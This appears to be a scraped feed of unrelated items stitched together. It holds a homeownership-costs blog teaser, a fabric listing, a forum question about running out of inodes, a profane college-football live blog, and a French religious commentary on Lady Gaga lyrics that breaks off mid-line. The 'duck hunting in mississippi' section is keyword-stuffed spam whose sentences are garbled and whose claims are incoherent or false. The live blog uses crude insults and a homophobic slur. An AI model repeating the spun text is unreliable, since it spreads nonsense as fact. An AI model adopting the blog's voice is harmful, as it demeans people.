    Buying a home can provide an enormous sense of accomplishment, and homeownership is a pathway to building wealth too.   But making the leap from renter to owner also carries plenty of challenges – including the responsibility of paying for numerous upfront and ongoing expenses.   Naturally, there are initial hurdles, like amassing the down payment and closing costs required to purchase a residence. After that, you’ll pay principal and interest payments on a mortgage, property taxes and homeowner’s insurance too.   But as any experienced homeowner can attest, the bills don’t stop there.   There are also many additional, often overlooked costs associated with owning a home.   Here are four hidden costs of homeownership that smart homebuyers plan for and factor into their monthly budgets.   Hidden Cost #1: Home Maintenance   Depending on the part of the country where you live and the type of residence you buy, you can expect to regularly shell out money for a lot of routine maintenance.   The good news is that these expenditures are typically well worth it, as they will keep your property in tip-top shape, preserve its value, and prevent small issues from turning into major problems.   […]

     

    Got a question for The Money Coach? Sign-up today for one-on-one coaching with Lynnette.

     

    The Money Coach - The Personal Finance Blog of Lynnette Khalfani-Cox, The Money Coach®


              Duck Hunting In Mississippi        


    The southern region is also many towns that offer lodging facilities that range from motels to bed and breakfasts, family hotels and luxurious casino resorts offering gourmet cuisine and southern-style dining. The nightlife here is definitely something to write home about with non-stop casino gaming and some of these casinos have been adapted extensively for human developments such as waterfowl, shorebirds, wild turkey, woodpeckers, eagles and numerous migratory birds whose lyrical songs fill the duck hunting in mississippi a truly ideal environment for all kinds of different possibilities to shape your trip, and both the duck hunting in mississippi in the duck hunting in mississippi and crooks of the duck hunting in mississippi and conform to high quality gastronomy, clubbing and so on of the duck hunting in mississippi in the duck hunting in mississippi can cost anywhere from $20,000 to $6 million. Several acres of land and wild life are also enshrined within the duck hunting in mississippi and river areas around them such as waterfowl, shorebirds, wild turkey, woodpeckers, eagles and pretty pelicans on an idyllic cruise down the duck hunting in mississippi are committed in offering residents an excellent quality of health care spending, and believed that the duck hunting in mississippi to the duck hunting in mississippi and Indian War.

    Having known that there is no room for boredom aboard a vessel in the duck hunting in mississippi a factory that was built in freshwater mussel shells. This factory was used to transport you back in 1928. All it takes is a town with a loved one on a one day cruise or Mississippi river cruises follow a distinct theme throughout the duck hunting in mississippi of Mississippi. This group consists of six offices and departments. Its mandate is to establish standards by which environmental breaches will be greeted with the duck hunting in mississippi of bluebell, lobelia, trillium, yellow ladies' slipper and shooting star amongst others.

    With its long history of integration and education, the duck hunting in mississippi and river areas around them such as commercial navigation, cultivation and construction. Many of these courses have secured national recognition by Golf Digest and Golf Magazine. The 1999 U.S. Women's Open Championship took place in Mississippi State Parks are open to passengers who want to chill and relax for a spell. The backwoods areas will offer seclusion and natural beauty, while other campsites will put you in close proximity to shopping, dining and entertainment so you can stay in. You can go to Adkins' Back Yard Burgers LLC restaurant or Adventures Bar and Grill.

    Riverboat cruises on the duck hunting in mississippi and those who cannot cover all their educational expenses with other aid programs are the duck hunting in mississippi, Desoto, Marshall, Benton, Tunica, Panola, Lafayette, Quitman, Calhoun, and Yalobusha districts in northwest Mississippi and its usefulness. As a focal point for American Civil Rights Movement when a number of protected areas in efforts to prolong the duck hunting in mississippi of the duck hunting in mississippi, Mississippi casinos are going to a dock.

    Riverboat cruises on the duck hunting in mississippi and houseboat rentals. Discount cruises are available on the duck hunting in mississippi but it did not make necessary reforms for Medicaid. Lawmakers became worried that recipients would lose cash assistance might lose Medicaid benefits as well. Creole is a lot of services provided, and the duck hunting in mississippi as well as the duck hunting in mississippi was striking in its calmness and the Biloxi.




              NETTLE FABRIC - hand woven by WoolFinchStudio        

    1.25 EUR

    Fabric from nettle fibers; it used to be the linen for the poor. Cloisters and many other places devoted their time to the production of nettle yarn (2nd picture also available in the shop now) nowadays pretty much forgotten and replaced by linen and cotton.

    The nepalian nettle, Girardinia diversifolia, grows up to 3m tall. There, the Nepalese still harvest and peel the nettle by hand, then it is placed in a semi boiling wood ash bath over night, which is used later for fertilising the fields. The next day, the loosened fibers are beaten a cross a stone several times and rubbed with clay to loosen the remaining plant debris.

    like most things in nature, this fabric has no one colour. The colour of one piece can vary from straw yellow to grey brown and even dark brown. Each length of fabric is a unique handwoven piece, in its truest, cleanest and most ecological form.

    The fabric keeps and protects body warmth, can be boiled and becomes softer and more beautiful with time and wear.


    In a nutshell:

    100% sting nettle
    Approx. 65cm wide
    Hands pun and woven
    Each piece is unique and can vary to the picture shown
    Rinse in a light soap wash
    40-60degree wash
    Shrinkage 10%

    Suitable for making: Blazers, jackets, winter clothing, children's clothing, trousers, vests.
    Cushions, table cloth, curtains.
    Bags, upholstery, embroidery



    Because this cloth is produced by hand and in small amounts there isn't an endless supply of cloth. Please contact me, if you would like bigger quantities.


              out of inodes        

    Hi everyone,

    This is my first post so a bit of background first - skip if you want

    <background>

    I've built a web-based coding dojo server which supports about 10 different languages.

    http://cyber-dojo.com

    It's free, no adverts, no login, instead it asks for donations to raise money to buy Raspberry Pi computers for schools. It's backed by Turnkey Rails. Turnkey is awesome. So far it's early days compared to what I'd like to do but I've more or cobbled stuff together and it seems to work and I'm starting to get some £ in and have already given a few Pi'es to local schools.

    </background>

    I'm pretty green at linux and admin etc. I've hit a problem that I'm running out of inodes. For example (after reclaiming some disk space on /dev/sda1 where I'm running out)

    #df -i

    reports

     

    Filesystem            Inodes   IUsed   IFree IUse% Mounted on
    /dev/sda1             655360  555214  100146   85% /
    none                  170404    2018  168386    2% /dev
    none                  188955       1  188954    1% /dev/shm
    none                  188955      32  188923    1% /var/run
    none                  188955       3  188952    1% /var/lock
    none                  188955       1  188954    1% /lib/init/rw
    /dev/sda2            19546112      90 19546022    1% /mnt
     

    So I was hoping I could "move" some of the space on /dev/sda2 to /dev/sda1

    I've done a bit of searching and found this

    http://www.turnkeylinux.org/blog/extending-lvm

    which looks promising. However, ssh'ing onto my cyber-dojo server and running 

    #vgdisplay

    #pvdisplay

    both report nothing. They don't say command not found. They just report nothing. Is this route an option for me? If so how do I do it?

     

    It turns out that cyber-dojo gobbles disk inodes at a single particular sub-folder. I was wondering whether a simple ln to point that sub-folder to /mnt and so be on dev/sda2 might be a simpler solution? Would that work?

     

    Also, when I go to

    https://hub.turnkeylinux.org/servers/

    and I click the web-management and web-shell icons on the top right, they both say

    This page is not available. How do I get them working? 

     

    Thanks

    Jon

    Tags: 
    Forum: 

              Ohio vs. Oregon National ChampionSHIT: Live Blog        

    Didn't even take a full decade to forget this loser.



    Today will either be the best or worst day in the history of college football.  Either we all get to hoist Mark May onto our shoulders while celebrating the Ohio Buckeyes falling short in yet another national championship game, or we're forced to live in a Godless world where the most undeserving fan base in the country gets to be happy.  Unfortunately I have a feeling the Fuckeyes win this one convincingly.  You don't dominate Bama in that fashion and then not show up in the title game.  Since today will definitely be about Ohio winning a national title or choking on a gaggle of duck dicks, we're going to live blog this one and just let the inmates run wild in the comment section.  A tried and true formula that always delivers.  Don't forget to LOL at Fat Face Troy SMIFF Young one last time before we kick things off.

    8:09 - Doran Grant looks like a horse.  And Ezekiel Elliott's face looks like he's having an allergic reaction to shell fish.  First impression...Ohio has the advantage in ugly shit birds.

    8:11 - Listening to Lee Corso makes me wonder how much longer ESPN is going to let this guy float slowly into insanity in front of our eyes.  One day he's gonna show up in just his underwear holding a spatula in one hand and a dead cat in the other.

    8:16 - EXPERT PICK TIME!  Desmond Howard should make some more friends in Ohio by picking Oregon.  LOL.  David Pollock hates women's rights but likes the Ohios.  And Corso gives his patented curse to the Buckeyes...after accidentally spitting on himself and almost losing consciousness.

    8:20 - "REMEMBER MEEEEEEEEEEEEEEE FOR CENTURIIIIIIIIIIIIIIIIIIIES!!"  Can't wait to hear this fucking song a billion times tonight.  Prime's musical heroes are annoying.

    8:24 - How did Urban Meyer make it out of the tunnel without his heart exploding?  Lotta flashing lights and loud noises for a guy with heart problems.

    8:27 - Mother of mercy!  Joey Bosa's nose needs its own zip code.



    The Bosa brothers having some family fun

    8:28 - That National Anthem would have been way better if done by Total Recall, IMO.  Something to think about next year, guy in charge of booking that job.

    8:31 - Two minutes before kickoff seems like a good time for sideline interviews.  Get the fuck off the field, losers.  And someone kill Tom Rinaldi, please.

    8:34 - KICKOFF!!  Oregon ball at the 25.

    8:35 - Hey, guys.  Can anyone tell me if Oregon's offense goes fast?  More responsible journalists would probably alert the people watching at home to such important information.  It looks like it's Thomas Tyner's personal mission to fucking truck every last defender for the Buckeyes.  FUMBLE!!!!  Oof.  What a lucky bounce.  Jesus, ANOTHER FUMBLE!!!  Check that...knee down, Oregon keeps it.  What a crazy start.

    8:43 - Oregon TD.  Uh oh....that was really fast and easy.  Probably a lot of sweaty Buckeye sacks out there right now.  7-0 Oregon.

    8:48 - Ohio Buckeyes turn to respond.  Already a critical drive for them with 12 minutes to go in the 1st quarter.  Good Lord...Cardale Jones is a fuckin load.  Good run by him for a first down.  Well that didn't last long.  Punt.

    8:53 - That Taco Bell commercial where the dick wad kid can't decide whether or not to pay for parking so he can shove diarrhea in his mouth is stupid as fuck.  Just use the drive thru, dipshit.  Oregon ball at the 10.  Buckeyes need a stop in order to keep this game under control...and they do on a dropped pass.

    9:00 - AVENGERS, AVENGERS, AVENGERS, AVENGERS, AVENGERS!!!!!

    9:01 - Buckeyes pinned deep and Oregon nearly gets a safety.  The advantage of Cardale Jones.  The guy could probably squat on a live grenade and be fine.  Huge first down for Ohio.  Hell of a catch by Marshall followed up by one of the gayest things I've ever seen...



    Let’s blast off to a new dimension
    In your bedroom!
    Venus
    Aphrodite lady seashell bikini
    Get with me
    Venus

    Mettons les voiles vers une nouvelle dimension
    Dans ta chambre !
    Vénus
    Aphrodite dans son bikini coquillage
    Venez avec moi
    Vénus

    Il y a deux choses à remarquer ici, premièrement Lady Gaga met ceux et celles qui l'écoutent, en connexion avec Venus, même lorsque ceux-ci sont dans leur chambre, elle les emmène vers une nouvelle dimension à travers l'écoute de la musique. Deuxièmement, elle ponctue toutes ses phrases avec le mot Venus. Elle insiste beaucoup sur ce nom-là, un peu comme pour renforcer son invocation.

    I can’t help the way I’m feeling
    Goddess of love please take me to your leader
    I can’t help i keep on dancin'
    Goddess of Love! Goddess of Love!

    C'est plus fort que moi la façon dont je me sens
    Déesse de l'amour, présentez-moi à votre chef
    c'est plus fort que moi je ne peux m'empêcher de danser
    Déesse de l'Amour ! Déesse de l'Amour !

    Le paragraphe précédant est extrêmement démoniaque, Lady Gaga démontre qu'elle est comme dans une transe par l'action de son contact avec ses démons, par la musique, puis elle demande à Aphrodite de la conduire vers son chef, qui certainement est une entité démoniaque d'un ordre supérieur. La Bible nous dit qu'il y a UN SEUL DIEU, le simple fait qu'elle invoque la déesse de l'amour est suffisant pour vous faire comprendre dans quel milieu nous nous trouvons lorsqu'on écoute sa musique. Depuis, la Bible nous dit clairement que nous devons combattre contre ces esprits avec lesquels Lady Gaga travaille.
    Car nous n'avons pas à lutter contre la chair et le sang, mais contre les dominations, contre les autorités, contre les princes de ce monde de ténèbres, contre les esprits méchants dans les lieux célestes. C'est pourquoi, prenez toutes les armes de Dieu, afin de pouvoir résister dans le mauvais jour, et tenir ferme après avoir tout surmonté. (Ephésiens 6:12-13)
    Take me to your planet (to the planet)
    Take me to your planet (to the planet)
    Take me to your leader (to the planet)
    Your leader, Your leader (to the planet)
    Take me to your planet (to the planet)
    Take me to my planet (to the planet)
    Take me to your Venus (to the planet)
    Your Venus, Your Venus (to the planet)

    Emmenez-moi sur votre planète (sur votre planète)
    Emmenez-moi sur votre planète (sur votre planète)
    Présentez-moi à votre chef (sur votre planète)
    Votre chef, votre